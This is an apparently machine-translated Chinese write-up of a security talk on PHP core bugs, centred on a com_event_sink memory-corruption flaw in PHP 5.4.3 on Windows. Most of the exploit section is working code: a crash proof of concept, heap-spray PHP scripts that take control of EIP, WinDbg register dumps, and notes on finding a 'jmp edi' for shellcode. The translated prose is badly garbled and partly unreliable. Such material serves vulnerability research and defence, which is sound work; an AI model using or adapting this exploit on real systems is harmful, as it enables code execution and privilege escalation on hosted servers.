在一个常见的Web应用程序测试中,我们操纵输入,一个共同的最终用户控制和检查从应用程序的响应。但是,因为这些数据通过PHP,ASP引擎,用于构建这些应用程序处理。我们在模糊化,并试图找出问题,这些引擎可以被攻击的普通用户。我的演讲有两个部分,本地攻击和远程攻击。本地攻击我演示了如何利用PHP做特权升级和远程攻击,我们映射的PHP函数参数的远程用户,如文件处理和图像处理功能,并展示了如何利用它们。整个演示文稿集中在PHP核心错误。
Web应用程序如何Stuffs工作。
1)用户浏览器发送输入到Web应用程序 -
2)HTTP服务器捕获并
3)把它传递给Web应用程序 - >
4)Web应用程序发送到脚本引擎来处理它。
PHP架构:
这些图是不够好,详细解释PHP体系结构,而不是我写的关于他们的详细。
1)
PHP+ Apache的安全体系结构:
1)因此,如果我们可以执行的PHP代码的情况下,你将能够摆脱诸多限制。
2)应能得到shell访问的hardned PHP主机。
3)共享主机的Windows服务器是受影响最大。
4)这些类型的错误被评为10/10,一个CVE得分PHP。
为什么PHP本地攻击。
1)权限提升
2)在受保护环境中执行代码
3)绕过安全限制
PHP本地的漏洞利用BUG猎人的历史:
1)PHP的符号链接漏洞
2)PHP Nginx的漏洞
3)_php_stream_scandir
4)CVE-2011-3268[crypt函数]
最好的的PHP错误狩猎的的i0nic和团队有“月”在2007年和2010年的PHP安全。约60安全问题的识别和几个联络点被释放。
或者你coud浏览了该组织的档案。的PHP:产品和安全漏洞
2012年4月,我发现了一些当地的安全问题,已添加到COCON CFP,后来又被确定由CONDIS PHP< =5.4.3(com_event_sink)执行代码的概念证明 - CXSecurity WLB独立。现在,这个问题是公共的,我会放下我的分析指出,此错误代码执行。目前的问题只影响PHP的Windows。
PHP5.4.3 Com_event_sink 0day:
漏洞的函数:
PHP提供了一个模块进行交互的COM和。Net(Windows)中。在该com_event_sink使用以下方式。
它允许用户调用COM实例,在目前的情况下,[IE],并与其进行交互。
注:此功能是方便的,如果你有机会的服务器不允许其他机制,将文件下载到它像。
下面的代码将打开一个IE实例,并下载谷歌的网页。的的功能com_event_sink需要三个参数。
1) - > $ie = new COM(“InternetExplorer.Application”);
地址COM对象进行交互
2) - >接收对象
3) - >接收器接口
com_event_sink($ie, $sink, "DWebBrowserEvents2");
< ?php
class IEEventSinker {
var $terminated = false;
function ProgressChange($progress, $progressmax) {
echo "Download progress: $progress / $progressmax\n";
}
function DocumentComplete(&$dom, $url) {
echo "Document $url complete\n";
}
function OnQuit() {
echo "Quit!\n";
$this->terminated = true;
}
}
$ie = new COM("InternetExplorer.Application");
// note that you don't need the & for PHP 5!
$sink = new IEEventSinker();
com_event_sink($ie, $sink, "DWebBrowserEvents2");
$ie->Visible = true;
$ie->Navigate("http://www.google.com");
while(!$sink->terminated) {
com_message_pump(4000);
}
$ie = null;
?>
问题:
第一个参数是加载的COM对象的地址,它是由用户控制。没有被验证的地址上进行,这是直接使用地址。
PHP代码:
$ie = new COM("InternetExplorer.Application");
// note that you don't need the & for PHP 5!
$sink = new IEEventSinker();
com_event_sink($ie, $sink, "DWebBrowserEvents2");
POC
< ?php
$buffer = str_repeat("B", 1000);
$vVar = new VARIANT(0x43434343); // We controll this
$vVar2 = new VARIANT(0x41414141); //
com_event_sink($vVar, $vVar2 , $buffer );
?>
(310.1fc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=00372ad0 edx=0114dd88 esi=43434343 edi=0114d9b8
eip=102f59bd esp=00c1f988 ebp=00c1f9dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\wamp\bin\php\php5.4.3\php5ts.dll -
php5ts!php_strftime+0xadc:
102f59bd 8b06 mov eax,dword ptr [esi] ds:0023:43434343=????????
102f59bf 8d4dd4 lea ecx,[ebp-2Ch]
102f59c2 51 push ecx
102f59c3 53 push ebx
102f59c4 53 push ebx
102f59c5 56 push esi
102f59c6 ff5010 call dword ptr [eax+10h]
酷我们完全控制ESI和到EAX MOV指令崩溃以来出现故障由于ESI点到一个无效的地址
----> mov eax,dword ptr [esi] ds:0023:43434343=????????
EDI拥有第三个参数,足以容纳一些的shellcode。
0:000> d edi
0114d9f8 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0114da08 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0114da18 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0114da28 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
0114da38 42 42 42 42 42 42 42 42-42 42 42 42 42 42 42 42 BBBBBBBBBBBBBBBB
执行代码[利用]:
*)我们控制的ESI和那里可以控制EAX,
*)如果我们把ESI一个有效的地址,并填写倪仁兴MEM地址,内存,然后,EAX将在我们手中。
*)在102f59c6调用DWORD PTR[EAX+10 H],我们可以很容易地控制EIP,因为我们控制EAX和那里可以拨打电话土地的任何地方,我们希望[瞧]。
*),所以我们需要喷有两个不同的值,一个值控制EAX和指导CALL指令,一个有效的地址空间和控制[EIP],并获得完全的控制权的程序。
总之:
$EIP="AAAA"; //JMP EDI
$EAX="BBBB " -10h;
$spray = $EIP.$EAX;
1)做一些喷雾的EAX控制。
2)地址[地址-10H],因为它的CALL EAX+10 H。
3)填写ESI内存“\ X34\ X43\ X42\ X41”
< ?php
$spray = str_repeat("\x34\x43\x42\x41",0x100);
//We wann make EAX = 41424343 so l-india.
echo strlen($spray);
$deodrant="";
for($i=0;$i<0x4b00;$i++)
{
$deodrant.=$spray;
}
$terminate = "T";
$u[] =$deodrant;
$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;
$vVar = new VARIANT(0x048d0000+180); //We control this
//$buffer = str_repeat("B",200);
$buffer = "\x41\x42\x43\x44\x90\x90\x90\x90\xcc\xcc\xcc\xcc\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
$var2 = new VARIANT(0x41414242);
com_event_sink($vVar,$var2,$buffer);
?>
(1fc.b7c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=41424334 ebx=00000000 ecx=00c1f9b0 edx=0114dbf0 esi=048d00b4 edi=0114dc48
eip=102f59c6 esp=00c1f978 ebp=00c1f9dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\wamp\bin\php\php5.4.3\php5ts.dll -
php5ts!php_strftime+0xae5:
102f59c2 51 push ecx
102f59c3 53 push ebx
102f59c4 53 push ebx
102f59c5 56 push esi
102f59c6 ff5010 call dword ptr [eax+10h] ds:0023:41424344=????????
现在有两个不同的值控制的一个值EAX和指导的喷雾[CALL]一个有效的地址空间的指令和控制[EIP],并获得完全的控制权的程序。
< ?php
$eip ="\x44\x43\x42\x41";
//$eip= "\x4b\xe8\x57\x78"; jmp edi
$eax ="\x80\x01\x8d\x04";
$deodrant="";
$axespray = str_repeat($eip.$eax,0x80);
//048d0190
echo strlen($axespray);
//19200 ==4B32 4b00
for($axeeffect=0;$axeeffect<0x4B32;$axeeffect++)
{
$deodrant.=$axespray;
}
$terminate = "T";
$u[] =$deodrant;
$r[] =$deodrant.$terminate;
$a[] =$deodrant.$terminate;
$s[] =$deodrant.$terminate;
$vVar = new VARIANT(0x048d0000+180);
$buffer = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41";
$var2 = new VARIANT(0x41414242);
com_event_sink($vVar,$var2,$buffer);
?>
Voila EIP ="woot woot"
(cb0.7d4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=048d0180 ebx=00000000 ecx=00c1f9b0 edx=0114dbc8 esi=048d00b4 edi=0114dc20
eip=41414141 esp=00c1f974 ebp=00c1f9dc iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
41414141 ?? ???
现在你知道它很容易,你知道在哪里的shellcode是,事情是很明显的。
!load byakugan
!jutsu searchOpcode jmp edi
用一个简单的“消息框”的shellcode的代码
评论区: